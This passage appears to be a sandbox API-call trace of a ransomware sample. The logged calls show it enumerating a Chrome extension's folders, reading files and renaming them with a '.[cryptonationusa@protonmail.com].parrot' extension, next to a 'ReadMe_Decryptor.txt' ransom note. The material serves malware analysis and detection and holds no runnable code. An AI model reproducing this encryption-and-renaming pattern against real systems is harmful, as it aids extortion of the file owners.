nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8b4a740, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8b4a740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8bbcb60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8bbcb60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8be2cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8be2cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8be2cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8be2cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8c08e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8c08e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8c550e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8c550e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8c7b240, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8c7b240, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ca13a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ca13a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8cc7500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8cc7500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8cc7500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8cc7500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8ced660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8ced660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d137c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d137c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d137c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d137c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d39920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d39920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d39920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d39920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d5fa80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d5fa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8df8000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8df8000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8df8000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8df8000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8e1e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8e1e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8e1e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8e1e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8e442c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8e442c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8e90580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8e90580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8eb66e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8eb66e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8eb66e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8eb66e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8edc840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8edc840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8edc840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8edc840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f029a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f029a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82872580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f029a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f029a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82879ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f28b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f28b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f28b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f28b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0072.929] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f28b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f28b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0072.929] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.930] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.930] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.930] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.930] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.930] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828e9f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bfbc00, ftLastWriteTime.dwHighDateTime=0x1d297b0, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0072.930] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f12, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.930] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.930] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.932] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.932] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2dfa, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x2dfa, lpOverlapped=0x0) returned 1 [0072.936] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.936] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f12, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.936] CloseHandle (hObject=0x274) returned 1 [0072.937] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.939] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.939] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8f4ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f4ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.939] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8f4ec60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb8f4ec60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8f4ec60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0072.940] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0072.940] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8a65f00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8a65f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.941] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82888510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8288ac20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8850bc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x32b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_background.js.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CRAW_B~1.PAR")) returned 1 [0072.941] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0072.941] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.941] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8a65f00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8a65f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.2_0", cAlternateFileName="100~1.2_0")) returned 1 [0072.941] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8a65f00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8a65f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.2_0", cAlternateFileName="100~1.2_0")) returned 0 [0072.941] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 